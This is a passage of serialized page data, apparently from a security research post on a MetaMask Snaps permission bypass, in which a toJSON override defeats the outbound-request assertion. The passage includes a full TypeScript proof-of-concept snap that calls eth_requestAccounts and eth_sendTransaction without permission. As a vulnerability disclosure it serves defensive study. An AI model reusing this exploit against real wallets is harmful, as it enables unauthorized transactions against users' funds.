);\n});\n",[39154],{"type":23,"tag":209,"props":39155,"children":39156},{"__ignoreMap":7},[39157,39222,39249,39274,39329,39337,39384,39400,39407,39424,39431,39438],{"type":23,"tag":213,"props":39158,"children":39159},{"class":215,"line":216},[39160,39164,39169,39174,39178,39183,39187,39192,39196,39200,39205,39210,39214,39218],{"type":23,"tag":213,"props":39161,"children":39162},{"style":1362},[39163],{"type":28,"value":38266},{"type":23,"tag":213,"props":39165,"children":39166},{"style":230},[39167],{"type":28,"value":39168}," const",{"type":23,"tag":213,"props":39170,"children":39171},{"style":268},[39172],{"type":28,"value":39173}," JsonStruct",{"type":23,"tag":213,"props":39175,"children":39176},{"style":274},[39177],{"type":28,"value":511},{"type":23,"tag":213,"props":39179,"children":39180},{"style":257},[39181],{"type":28,"value":39182}," coerce",{"type":23,"tag":213,"props":39184,"children":39185},{"style":220},[39186],{"type":28,"value":265},{"type":23,"tag":213,"props":39188,"children":39189},{"style":268},[39190],{"type":28,"value":39191},"UnsafeJsonStruct",{"type":23,"tag":213,"props":39193,"children":39194},{"style":220},[39195],{"type":28,"value":424},{"type":23,"tag":213,"props":39197,"children":39198},{"style":257},[39199],{"type":28,"value":16764},{"type":23,"tag":213,"props":39201,"children":39202},{"style":220},[39203],{"type":28,"value":39204},"(), (",{"type":23,"tag":213,"props":39206,"children":39207},{"style":268},[39208],{"type":28,"value":39209},"value",{"type":23,"tag":213,"props":39211,"children":39212},{"style":220},[39213],{"type":28,"value":298},{"type":23,"tag":213,"props":39215,"children":39216},{"style":230},[39217],{"type":28,"value":1445},{"type":23,"tag":213,"props":39219,"children":39220},{"style":220},[39221],{"type":28,"value":1375},{"type":23,"tag":213,"props":39223,"children":39224},{"class":215,"line":226},[39225,39229,39233,39237,39241,39245],{"type":23,"tag":213,"props":39226,"children":39227},{"style":257},[39228],{"type":28,"value":38617},{"type":23,"tag":213,"props":39230,"children":39231},{"style":220},[39232],{"type":28,"value":265},{"type":23,"tag":213,"props":39234,"children":39235},{"style":268},[39236],{"type":28,"value":39209},{"type":23,"tag":213,"props":39238,"children":39239},{"style":220},[39240],{"type":28,"value":424},{"type":23,"tag":213,"props":39242,"children":39243},{"style":268},[39244],{"type":28,"value":39191},{"type":23,"tag":213,"props":39246,"children":39247},{"style":220},[39248],{"type":28,"value":2867},{"type":23,"tag":213,"props":39250,"children":39251},{"class":215,"line":524},[39252,39257,39261,39265,39270],{"type":23,"tag":213,"props":39253,"children":39254},{"style":1362},[39255],{"type":28,"value":39256}," return",{"type":23,"tag":213,"props":39258,"children":39259},{"style":268},[39260],{"type":28,"value":37586},{"type":23,"tag":213,"props":39262,"children":39263},{"style":220},[39264],{"type":28,"value":124},{"type":23,"tag":213,"props":39266,"children":39267},{"style":257},[39268],{"type":28,"value":39269},"parse",{"type":23,"tag":213,"props":39271,"children":39272},{"style":220},[39273],{"type":28,"value":1511},{"type":23,"tag":213,"props":39275,"children":39276},{"class":215,"line":533},[39277,39282,39286,39291,39295,39299,39303,39308,39312,39317,39321,39325],{"type":23,"tag":213,"props":39278,"children":39279},{"style":268},[39280],{"type":28,"value":39281}," JSON",{"type":23,"tag":213,"props":39283,"children":39284},{"style":220},[39285],{"type":28,"value":124},{"type":23,"tag":213,"props":39287,"children":39288},{"style":257},[39289],{"type":28,"value":39290},"stringify",{"type":23,"tag":213,"props":39292,"children":39293},{"style":220},[39294],{"type":28,"value":265},{"type":23,"tag":213,"props":39296,"children":39297},{"style":268},[39298],{"type":28,"value":39209},{"type":23,"tag":213,"props":39300,"children":39301},{"style":220},[39302],{"type":28,"value":8904},{"type":23,"tag":213,"props":39304,"children":39305},{"style":268},[39306],{"type":28,"value":39307},"propKey",{"type":23,"tag":213,"props":39309,"children":39310},{"style":220},[39311],{"type":28,"value":424},{"type":23,"tag":213,"props":39313,"children":39314},{"style":268},[39315],{"type":28,"value":39316},"propValue",{"type":23,"tag":213,"props":39318,"children":39319},{"style":220},[39320],{"type":28,"value":298},{"type":23,"tag":213,"props":39322,"children":39323},{"style":230},[39324],{"type":28,"value":1445},{"type":23,"tag":213,"props":39326,"children":39327},{"style":220},[39328],{"type":28,"value":1375},{"type":23,"tag":213,"props":39330,"children":39331},{"class":215,"line":543},[39332],{"type":23,"tag":213,"props":39333,"children":39334},{"style":537},[39335],{"type":28,"value":39336}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":213,"props":39338,"children":39339},{"class":215,"line":551},[39340,39345,39349,39353,39357,39362,39366,39371,39375,39380],{"type":23,"tag":213,"props":39341,"children":39342},{"style":1362},[39343],{"type":28,"value":39344}," if",{"type":23,"tag":213,"props":39346,"children":39347},{"style":220},[39348],{"type":28,"value":400},{"type":23,"tag":213,"props":39350,"children":39351},{"style":268},[39352],{"type":28,"value":39307},{"type":23,"tag":213,"props":39354,"children":39355},{"style":274},[39356],{"type":28,"value":31478},{"type":23,"tag":213,"props":39358,"children":39359},{"style":246},[39360],{"type":28,"value":39361}," '__proto__'",{"type":23,"tag":213,"props":39363,"children":39364},{"style":274},[39365],{"type":28,"value":23756},{"type":23,"tag":213,"props":39367,"children":39368},{"style":268},[39369],{"type":28,"value":39370}," propKey",{"type":23,"tag":213,"props":39372,"children":39373},{"style":274},[39374],{"type":28,"value":31478},{"type":23,"tag":213,"props":39376,"children":39377},{"style":246},[39378],{"type":28,"value":39379}," 'constructor'",{"type":23,"tag":213,"props":39381,"children":39382},{"style":220},[39383],{"type":28,"value":14870},{"type":23,"tag":213,"props":39385,"children":39386},{"class":215,"line":570},[39387,39391,39396],{"type":23,"tag":213,"props":39388,"children":39389},{"style":1362},[39390],{"type":28,"value":2839},{"type":23,"tag":213,"props":39392,"children":39393},{"style":230},[39394],{"type":28,"value":39395}," undefined",{"type":23,"tag":213,"props":39397,"children":39398},{"style":220},[39399],{"type":28,"value":313},{"type":23,"tag":213,"props":39401,"children":39402},{"class":215,"line":655},[39403],{"type":23,"tag":213,"props":39404,"children":39405},{"style":220},[39406],{"type":28,"value":12746},{"type":23,"tag":213,"props":39408,"children":39409},{"class":215,"line":1176},[39410,39415,39420],{"type":23,"tag":213,"props":39411,"children":39412},{"style":1362},[39413],{"type":28,"value":39414}," return",{"type":23,"tag":213,"props":39416,"children":39417},{"style":268},[39418],{"type":28,"value":39419}," propValue",{"type":23,"tag":213,"props":39421,"children":39422},{"style":220},[39423],{"type":28,"value":313},{"type":23,"tag":213,"props":39425,"children":39426},{"class":215,"line":1202},[39427],{"type":23,"tag":213,"props":39428,"children":39429},{"style":220},[39430],{"type":28,"value":38602},{"type":23,"tag":213,"props":39432,"children":39433},{"class":215,"line":1758},[39434],{"type":23,"tag":213,"props":39435,"children":39436},{"style":220},[39437],{"type":28,"value":38469},{"type":23,"tag":213,"props":39439,"children":39440},{"class":215,"line":1767},[39441],{"type":23,"tag":213,"props":39442,"children":39443},{"style":220},[39444],{"type":28,"value":35395},{"type":23,"tag":24,"props":39446,"children":39447},{},[39448,39450,39456,39458,39463,39465,39471,39473,39479],{"type":28,"value":39449},"The function performs a ",{"type":23,"tag":209,"props":39451,"children":39453},{"className":39452},[],[39454],{"type":28,"value":39455},"JSON.parse(JSON.stringify(value))",{"type":28,"value":39457}," in the argument sent to ",{"type":23,"tag":209,"props":39459,"children":39461},{"className":39460},[],[39462],{"type":28,"value":39133},{"type":28,"value":39464},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":209,"props":39466,"children":39468},{"className":39467},[],[39469],{"type":28,"value":39470},"toJSON",{"type":28,"value":39472}," function in a legit ",{"type":23,"tag":209,"props":39474,"children":39476},{"className":39475},[],[39477],{"type":28,"value":39478},"snap.request",{"type":28,"value":39480}," argument:",{"type":23,"tag":131,"props":39482,"children":39483},{},[39484,39489,39494],{"type":23,"tag":135,"props":39485,"children":39486},{},[39487],{"type":28,"value":39488},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":135,"props":39490,"children":39491},{},[39492],{"type":28,"value":39493},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":135,"props":39495,"children":39496},{},[39497],{"type":28,"value":39498},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":24,"props":39500,"children":39501},{},[39502],{"type":28,"value":39503},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":131,"props":39505,"children":39506},{},[39507,39512],{"type":23,"tag":135,"props":39508,"children":39509},{},[39510],{"type":28,"value":39511},"forward blocked RPC methods",{"type":23,"tag":135,"props":39513,"children":39514},{},[39515,39517,39522,39524,39530,39532,39537],{"type":28,"value":39516},"Making requests in ",{"type":23,"tag":209,"props":39518,"children":39520},{"className":39519},[],[39521],{"type":28,"value":39478},{"type":28,"value":39523}," that were only supposed to be done within ",{"type":23,"tag":209,"props":39525,"children":39527},{"className":39526},[],[39528],{"type":28,"value":39529},"ethereum.request",{"type":28,"value":39531}," (with ",{"type":23,"tag":209,"props":39533,"children":39535},{"className":39534},[],[39536],{"type":28,"value":38706},{"type":28,"value":39538}," enabled).",{"type":23,"tag":24,"props":39540,"children":39541},{},[39542],{"type":28,"value":39543},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":9693,"props":39545,"children":39546},{"id":5755},[39547],{"type":28,"value":5758},{"type":23,"tag":24,"props":39549,"children":39550},{},[39551],{"type":28,"value":39552},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":24,"props":39554,"children":39555},{},[39556],{"type":23,"tag":4009,"props":39557,"children":39559},{"alt":7,"src":39558},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":9693,"props":39561,"children":39563},{"id":39562},"proof-of-concept",[39564],{"type":28,"value":34886},{"type":23,"tag":24,"props":39566,"children":39567},{},[39568,39570,39575,39577,39582,39584,39590],{"type":28,"value":39569},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":209,"props":39571,"children":39573},{"className":39572},[],[39574],{"type":28,"value":38706},{"type":28,"value":39576}," permission, and used the ",{"type":23,"tag":209,"props":39578,"children":39580},{"className":39579},[],[39581],{"type":28,"value":38236},{"type":28,"value":39583}," interface to call ",{"type":23,"tag":209,"props":39585,"children":39587},{"className":39586},[],[39588],{"type":28,"value":39589},"eth_sendTransaction",{"type":28,"value":39591},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":202,"props":39593,"children":39595},{"className":35671,"code":39594,"language":35673,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[39596],{"type":23,"tag":209,"props":39597,"children":39598},{"__ignoreMap":7},[39599,39632,39639,39646,39663,39692,39699,39724,39731,39763,39774,39791,39804,39811,39818,39825,39857,39864,39871,39878,39894,39921,39928,39951,39958,39989,40000,40016,40028,40049,40064,40081,40089,40096,40103,40110,40141,40148,40155,40215,40222,40250,40267,40282,40298,40313,40325,40355,40362],{"type":23,"tag":213,"props":39600,"children":39601},{"class":215,"line":216},[39602,39606,39610,39615,39619,39623,39628],{"type":23,"tag":213,"props":39603,"children":39604},{"style":1362},[39605],{"type":28,"value":19537},{"type":23,"tag":213,"props":39607,"children":39608},{"style":220},[39609],{"type":28,"value":2572},{"type":23,"tag":213,"props":39611,"children":39612},{"style":268},[39613],{"type":28,"value":39614},"OnRpcRequestHandler",{"type":23,"tag":213,"props":39616,"children":39617},{"style":220},[39618],{"type":28,"value":36260},{"type":23,"tag":213,"props":39620,"children":39621},{"style":1362},[39622],{"type":28,"value":19527},{"type":23,"tag":213,"props":39624,"children":39625},{"style":246},[39626],{"type":28,"value":39627}," '@metamask/snaps-types'",{"type":23,"tag":213,"props":39629,"children":39630},{"style":220},[39631],{"type":28,"value":313},{"type":23,"tag":213,"props":39633,"children":39634},{"class":215,"line":226},[39635],{"type":23,"tag":213,"props":39636,"children":39637},{"emptyLinePlaceholder":18},[39638],{"type":28,"value":530},{"type":23,"tag":213,"props":39640,"children":39641},{"class":215,"line":524},[39642],{"type":23,"tag":213,"props":39643,"children":39644},{"emptyLinePlaceholder":18},[39645],{"type":28,"value":530},{"type":23,"tag":213,"props":39647,"children":39648},{"class":215,"line":533},[39649,39653,39658],{"type":23,"tag":213,"props":39650,"children":39651},{"style":230},[39652],{"type":28,"value":31433},{"type":23,"tag":213,"props":39654,"children":39655},{"style":257},[39656],{"type":28,"value":39657}," jsonExploit",{"type":23,"tag":213,"props":39659,"children":39660},{"style":220},[39661],{"type":28,"value":39662},"(){\n",{"type":23,"tag":213,"props":39664,"children":39665},{"class":215,"line":543},[39666,39670,39674,39678,39683,39687],{"type":23,"tag":213,"props":39667,"children":39668},{"style":230},[39669],{"type":28,"value":7943},{"type":23,"tag":213,"props":39671,"children":39672},{"style":268},[39673],{"type":28,"value":19118},{"type":23,"tag":213,"props":39675,"children":39676},{"style":274},[39677],{"type":28,"value":511},{"type":23,"tag":213,"props":39679,"children":39680},{"style":220},[39681],{"type":28,"value":39682}," [] ",{"type":23,"tag":213,"props":39684,"children":39685},{"style":1362},[39686],{"type":28,"value":623},{"type":23,"tag":213,"props":39688,"children":39689},{"style":290},[39690],{"type":28,"value":39691}," any\n",{"type":23,"tag":213,"props":39693,"children":39694},{"class":215,"line":551},[39695],{"type":23,"tag":213,"props":39696,"children":39697},{"emptyLinePlaceholder":18},[39698],{"type":28,"value":530},{"type":23,"tag":213,"props":39700,"children":39701},{"class":215,"line":570},[39702,39707,39711,39715,39719],{"type":23,"tag":213,"props":39703,"children":39704},{"style":268},[39705],{"type":28,"value":39706}," x",{"type":23,"tag":213,"props":39708,"children":39709},{"style":220},[39710],{"type":28,"value":124},{"type":23,"tag":213,"props":39712,"children":39713},{"style":268},[39714],{"type":28,"value":38370},{"type":23,"tag":213,"props":39716,"children":39717},{"style":274},[39718],{"type":28,"value":511},{"type":23,"tag":213,"props":39720,"children":39721},{"style":246},[39722],{"type":28,"value":39723}," \"snap_dialog\"\n",{"type":23,"tag":213,"props":39725,"children":39726},{"class":215,"line":655},[39727],{"type":23,"tag":213,"props":39728,"children":39729},{"emptyLinePlaceholder":18},[39730],{"type":28,"value":530},{"type":23,"tag":213,"props":39732,"children":39733},{"class":215,"line":1176},[39734,39738,39742,39746,39750,39755,39759],{"type":23,"tag":213,"props":39735,"children":39736},{"style":268},[39737],{"type":28,"value":39706},{"type":23,"tag":213,"props":39739,"children":39740},{"style":220},[39741],{"type":28,"value":124},{"type":23,"tag":213,"props":39743,"children":39744},{"style":257},[39745],{"type":28,"value":39470},{"type":23,"tag":213,"props":39747,"children":39748},{"style":274},[39749],{"type":28,"value":511},{"type":23,"tag":213,"props":39751,"children":39752},{"style":220},[39753],{"type":28,"value":39754}," () ",{"type":23,"tag":213,"props":39756,"children":39757},{"style":230},[39758],{"type":28,"value":1445},{"type":23,"tag":213,"props":39760,"children":39761},{"style":220},[39762],{"type":28,"value":1375},{"type":23,"tag":213,"props":39764,"children":39765},{"class":215,"line":1202},[39766,39770],{"type":23,"tag":213,"props":39767,"children":39768},{"style":1362},[39769],{"type":28,"value":17040},{"type":23,"tag":213,"props":39771,"children":39772},{"style":220},[39773],{"type":28,"value":1375},{"type":23,"tag":213,"props":39775,"children":39776},{"class":215,"line":1758},[39777,39782,39787],{"type":23,"tag":213,"props":39778,"children":39779},{"style":268},[39780],{"type":28,"value":39781}," method:",{"type":23,"tag":213,"props":39783,"children":39784},{"style":246},[39785],{"type":28,"value":39786}," \"eth_requestAccounts\"",{"type":23,"tag":213,"props":39788,"children":39789},{"style":220},[39790],{"type":28,"value":944},{"type":23,"tag":213,"props":39792,"children":39793},{"class":215,"line":1767},[39794,39799],{"type":23,"tag":213,"props":39795,"children":39796},{"style":268},[39797],{"type":28,"value":39798}," params:",{"type":23,"tag":213,"props":39800,"children":39801},{"style":220},[39802],{"type":28,"value":39803}," []\n",{"type":23,"tag":213,"props":39805,"children":39806},{"class":215,"line":1789},[39807],{"type":23,"tag":213,"props":39808,"children":39809},{"style":220},[39810],{"type":28,"value":2875},{"type":23,"tag":213,"props":39812,"children":39813},{"class":215,"line":1812},[39814],{"type":23,"tag":213,"props":39815,"children":39816},{"style":220},[39817],{"type":28,"value":5964},{"type":23,"tag":213,"props":39819,"children":39820},{"class":215,"line":1838},[39821],{"type":23,"tag":213,"props":39822,"children":39823},{"emptyLinePlaceholder":18},[39824],{"type":28,"value":530},{"type":23,"tag":213,"props":39826,"children":39827},{"class":215,"line":1851},[39828,39832,39837,39841,39845,39849,39853],{"type":23,"tag":213,"props":39829,"children":39830},{"style":1362},[39831],{"type":28,"value":39256},{"type":23,"tag":213,"props":39833,"children":39834},{"style":268},[39835],{"type":28,"value":39836}," snap",{"type":23,"tag":213,"props":39838,"children":39839},{"style":220},[39840],{"type":28,"value":124},{"type":23,"tag":213,"props":39842,"children":39843},{"style":257},[39844],{"type":28,"value":31549},{"type":23,"tag":213,"props":39846,"children":39847},{"style":220},[39848],{"type":28,"value":265},{"type":23,"tag":213,"props":39850,"children":39851},{"style":268},[39852],{"type":28,"value":19329},{"type":23,"tag":213,"props":39854,"children":39855},{"style":220},[39856],{"type":28,"value":2183},{"type":23,"tag":213,"props":39858,"children":39859},{"class":215,"line":1864},[39860],{"type":23,"tag":213,"props":39861,"children":39862},{"emptyLinePlaceholder":18},[39863],{"type":28,"value":530},{"type":23,"tag":213,"props":39865,"children":39866},{"class":215,"line":1890},[39867],{"type":23,"tag":213,"props":39868,"children":39869},{"style":220},[39870],{"type":28,"value":1208},{"type":23,"tag":213,"props":39872,"children":39873},{"class":215,"line":1899},[39874],{"type":23,"tag":213,"props":39875,"children":39876},{"emptyLinePlaceholder":18},[39877],{"type":28,"value":530},{"type":23,"tag":213,"props":39879,"children":39880},{"class":215,"line":1912},[39881,39885,39890],{"type":23,"tag":213,"props":39882,"children":39883},{"style":230},[39884],{"type":28,"value":31433},{"type":23,"tag":213,"props":39886,"children":39887},{"style":257},[39888],{"type":28,"value":39889}," transactionExploit",{"type":23,"tag":213,"props":39891,"children":39892},{"style":220},[39893],{"type":28,"value":39662},{"type":23,"tag":213,"props":39895,"children":39896},{"class":215,"line":1921},[39897,39901,39905,39909,39913,39917],{"type":23,"tag":213,"props":39898,"children":39899},{"style":230},[39900],{"type":28,"value":7943},{"type":23,"tag":213,"props":39902,"children":39903},{"style":268},[39904],{"type":28,"value":19118},{"type":23,"tag":213,"props":39906,"children":39907},{"style":274},[39908],{"type":28,"value":511},{"type":23,"tag":213,"props":39910,"children":39911},{"style":220},[39912],{"type":28,"value":39682},{"type":23,"tag":213,"props":39914,"children":39915},{"style":1362},[39916],{"type":28,"value":623},{"type":23,"tag":213,"props":39918,"children":39919},{"style":290},[39920],{"type":28,"value":39691},{"type":23,"tag":213,"props":39922,"children":39923},{"class":215,"line":3879},[39924],{"type":23,"tag":213,"props":39925,"children":39926},{"emptyLinePlaceholder":18},[39927],{"type":28,"value":530},{"type":23,"tag":213,"props":39929,"children":39930},{"class":215,"line":3887},[39931,39935,39939,39943,39947],{"type":23,"tag":213,"props":39932,"children":39933},{"style":268},[39934],{"type":28,"value":39706},{"type":23,"tag":213,"props":39936,"children":39937},{"style":220},[39938],{"type":28,"value":124},{"type":23,"tag":213,"props":39940,"children":39941},{"style":268},[39942],{"type":28,"value":38370},{"type":23,"tag":213,"props":39944,"children":39945},{"style":274},[39946],{"type":28,"value":511},{"type":23,"tag":213,"props":39948,"children":39949},{"style":246},[39950],{"type":28,"value":39723},{"type":23,"tag":213,"props":39952,"children":39953},{"class":215,"line":3918},[39954],{"type":23,"tag":213,"props":39955,"children":39956},{"emptyLinePlaceholder":18},[39957],{"type":28,"value":530},{"type":23,"tag":213,"props":39959,"children":39960},{"class":215,"line":3926},[39961,39965,39969,39973,39977,39981,39985],{"type":23,"tag":213,"props":39962,"children":39963},{"style":268},[39964],{"type":28,"value":39706},{"type":23,"tag":213,"props":39966,"children":39967},{"style":220},[39968],{"type":28,"value":124},{"type":23,"tag":213,"props":39970,"children":39971},{"style":257},[39972],{"type":28,"value":39470},{"type":23,"tag":213,"props":39974,"children":39975},{"style":274},[39976],{"type":28,"value":511},{"type":23,"tag":213,"props":39978,"children":39979},{"style":220},[39980],{"type":28,"value":39754},{"type":23,"tag":213,"props":39982,"children":39983},{"style":230},[39984],{"type":28,"value":1445},{"type":23,"tag":213,"props":39986,"children":39987},{"style":220},[39988],{"type":28,"value":1375},{"type":23,"tag":213,"props":39990,"children":39991},{"class":215,"line":3986},[39992,39996],{"type":23,"tag":213,"props":39993,"children":39994},{"style":1362},[39995],{"type":28,"value":17040},{"type":23,"tag":213,"props":39997,"children":39998},{"style":220},[39999],{"type":28,"value":1375},{"type":23,"tag":213,"props":40001,"children":40002},{"class":215,"line":9132},[40003,40007,40012],{"type":23,"tag":213,"props":40004,"children":40005},{"style":268},[40006],{"type":28,"value":39781},{"type":23,"tag":213,"props":40008,"children":40009},{"style":246},[40010],{"type":28,"value":40011}," \"eth_sendTransaction\"",{"type":23,"tag":213,"props":40013,"children":40014},{"style":220},[40015],{"type":28,"value":944},{"type":23,"tag":213,"props":40017,"children":40018},{"class":215,"line":9150},[40019,40023],{"type":23,"tag":213,"props":40020,"children":40021},{"style":268},[40022],{"type":28,"value":39798},{"type":23,"tag":213,"props":40024,"children":40025},{"style":220},[40026],{"type":28,"value":40027}," [{\n",{"type":23,"tag":213,"props":40029,"children":40030},{"class":215,"line":9195},[40031,40035,40040,40044],{"type":23,"tag":213,"props":40032,"children":40033},{"style":268},[40034],{"type":28,"value":32121},{"type":23,"tag":213,"props":40036,"children":40037},{"style":246},[40038],{"type":28,"value":40039}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":213,"props":40041,"children":40042},{"style":220},[40043],{"type":28,"value":424},{"type":23,"tag":213,"props":40045,"children":40046},{"style":537},[40047],{"type":28,"value":40048},"// change this to your address\n",{"type":23,"tag":213,"props":40050,"children":40051},{"class":215,"line":9301},[40052,40056,40060],{"type":23,"tag":213,"props":40053,"children":40054},{"style":268},[40055],{"type":28,"value":32137},{"type":23,"tag":213,"props":40057,"children":40058},{"style":246},[40059],{"type":28,"value":40039},{"type":23,"tag":213,"props":40061,"children":40062},{"style":220},[40063],{"type":28,"value":944},{"type":23,"tag":213,"props":40065,"children":40066},{"class":215,"line":23557},[40067,40072,40077],{"type":23,"tag":213,"props":40068,"children":40069},{"style":268},[40070],{"type":28,"value":40071}," value:",{"type":23,"tag":213,"props":40073,"children":40074},{"style":246},[40075],{"type":28,"value":40076}," \"0x1\"",{"type":23,"tag":213,"props":40078,"children":40079},{"style":220},[40080],{"type":28,"value":944},{"type":23,"tag":213,"props":40082,"children":40083},{"class":215,"line":23592},[40084],{"type":23,"tag":213,"props":40085,"children":40086},{"style":220},[40087],{"type":28,"value":40088}," }]\n",{"type":23,"tag":213,"props":40090,"children":40091},{"class":215,"line":23600},[40092],{"type":23,"tag":213,"props":40093,"children":40094},{"style":220},[40095],{"type":28,"value":2875},{"type":23,"tag":213,"props":40097,"children":40098},{"class":215,"line":23608},[40099],{"type":23,"tag":213,"props":40100,"children":40101},{"style":220},[40102],{"type":28,"value":5964},{"type":23,"tag":213,"props":40104,"children":40105},{"class":215,"line":23617},[40106],{"type":23,"tag":213,"props":40107,"children":40108},{"emptyLinePlaceholder":18},[40109],{"type":28,"value":530},{"type":23,"tag":213,"props":40111,"children":40112},{"class":215,"line":23659},[40113,40117,40121,40125,40129,40133,40137],{"type":23,"tag":213,"props":40114,"children":40115},{"style":1362},[40116],{"type":28,"value":39256},{"type":23,"tag":213,"props":40118,"children":40119},{"style":268},[40120],{"type":28,"value":39836},{"type":23,"tag":213,"props":40122,"children":40123},{"style":220},[40124],{"type":28,"value":124},{"type":23,"tag":213,"props":40126,"children":40127},{"style":257},[40128],{"type":28,"value":31549},{"type":23,"tag":213,"props":40130,"children":40131},{"style":220},[40132],{"type":28,"value":265},{"type":23,"tag":213,"props":40134,"children":40135},{"style":268},[40136],{"type":28,"value":19329},{"type":23,"tag":213,"props":40138,"children":40139},{"style":220},[40140],{"type":28,"value":2867},{"type":23,"tag":213,"props":40142,"children":40143},{"class":215,"line":23692},[40144],{"type":23,"tag":213,"props":40145,"children":40146},{"style":220},[40147],{"type":28,"value":1208},{"type":23,"tag":213,"props":40149,"children":40150},{"class":215,"line":23700},[40151],{"type":23,"tag":213,"props":40152,"children":40153},{"emptyLinePlaceholder":18},[40154],{"type":28,"value":530},{"type":23,"tag":213,"props":40156,"children":40157},{"class":215,"line":23708},[40158,40162,40166,40171,40175,40180,40184,40189,40194,40198,40202,40207,40211],{"type":23,"tag":213,"props":40159,"children":40160},{"style":1362},[40161],{"type":28,"value":38266},{"type":23,"tag":213,"props":40163,"children":40164},{"style":230},[40165],{"type":28,"value":39168},{"type":23,"tag":213,"props":40167,"children":40168},{"style":257},[40169],{"type":28,"value":40170}," onRpcRequest",{"type":23,"tag":213,"props":40172,"children":40173},{"style":274},[40174],{"type":28,"value":277},{"type":23,"tag":213,"props":40176,"children":40177},{"style":290},[40178],{"type":28,"value":40179}," OnRpcRequestHandler",{"type":23,"tag":213,"props":40181,"children":40182},{"style":274},[40183],{"type":28,"value":511},{"type":23,"tag":213,"props":40185,"children":40186},{"style":220},[40187],{"type":28,"value":40188}," ({ ",{"type":23,"tag":213,"props":40190,"children":40191},{"style":268},[40192],{"type":28,"value":40193},"origin",{"type":23,"tag":213,"props":40195,"children":40196},{"style":220},[40197],{"type":28,"value":424},{"type":23,"tag":213,"props":40199,"children":40200},{"style":268},[40201],{"type":28,"value":31549},{"type":23,"tag":213,"props":40203,"children":40204},{"style":220},[40205],{"type":28,"value":40206}," }) ",{"type":23,"tag":213,"props":40208,"children":40209},{"style":230},[40210],{"type":28,"value":1445},{"type":23,"tag":213,"props":40212,"children":40213},{"style":220},[40214],{"type":28,"value":1375},{"type":23,"tag":213,"props":40216,"children":40217},{"class":215,"line":23717},[40218],{"type":23,"tag":213,"props":40219,"children":40220},{"emptyLinePlaceholder":18},[40221],{"type":28,"value":530},{"type":23,"tag":213,"props":40223,"children":40224},{"class":215,"line":23793},[40225,40230,40234,40238,40242,40246],{"type":23,"tag":213,"props":40226,"children":40227},{"style":1362},[40228],{"type":28,"value":40229}," switch",{"type":23,"tag":213,"props":40231,"children":40232},{"style":220},[40233],{"type":28,"value":400},{"type":23,"tag":213,"props":40235,"children":40236},{"style":268},[40237],{"type":28,"value":31549},{"type":23,"tag":213,"props":40239,"children":40240},{"style":220},[40241],{"type":28,"value":124},{"type":23,"tag":213,"props":40243,"children":40244},{"style":268},[40245],{"type":28,"value":38370},{"type":23,"tag":213,"props":40247,"children":40248},{"style":220},[40249],{"type":28,"value":14870},{"type":23,"tag":213,"props":40251,"children":40252},{"class":215,"line":23826},[40253,40258,40263],{"type":23,"tag":213,"props":40254,"children":40255},{"style":1362},[40256],{"type":28,"value":40257}," case",{"type":23,"tag":213,"props":40259,"children":40260},{"style":246},[40261],{"type":28,"value":40262}," 'json'",{"type":23,"tag":213,"props":40264,"children":40265},{"style":220},[40266],{"type":28,"value":5661},{"type":23,"tag":213,"props":40268,"children":40269},{"class":215,"line":23834},[40270,40274,40278],{"type":23,"tag":213,"props":40271,"children":40272},{"style":1362},[40273],{"type":28,"value":39414},{"type":23,"tag":213,"props":40275,"children":40276},{"style":257},[40277],{"type":28,"value":39657},{"type":23,"tag":213,"props":40279,"children":40280},{"style":220},[40281],{"type":28,"value":3759},{"type":23,"tag":213,"props":40283,"children":40284},{"class":215,"line":23842},[40285,40289,40294],{"type":23,"tag":213,"props":40286,"children":40287},{"style":1362},[40288],{"type":28,"value":40257},{"type":23,"tag":213,"props":40290,"children":40291},{"style":246},[40292],{"type":28,"value":40293}," 'transaction'",{"type":23,"tag":213,"props":40295,"children":40296},{"style":220},[40297],{"type":28,"value":5661},{"type":23,"tag":213,"props":40299,"children":40300},{"class":215,"line":23879},[40301,40305,40309],{"type":23,"tag":213,"props":40302,"children":40303},{"style":1362},[40304],{"type":28,"value":39414},{"type":23,"tag":213,"props":40306,"children":40307},{"style":257},[40308],{"type":28,"value":39889},{"type":23,"tag":213,"props":40310,"children":40311},{"style":220},[40312],{"type":28,"value":3759},{"type":23,"tag":213,"props":40314,"children":40315},{"class":215,"line":23892},[40316,40321],{"type":23,"tag":213,"props":40317,"children":40318},{"style":1362},[40319],{"type":28,"value":40320}," default",{"type":23,"tag":213,"props":40322,"children":40323},{"style":220},[40324],{"type":28,"value":5661},{"type":23,"tag":213,"props":40326,"children":40327},{"class":215,"line":23905},[40328,40333,40337,40342,40346,40351],{"type":23,"tag":213,"props":40329,"children":40330},{"style":1362},[40331],{"type":28,"value":40332}," 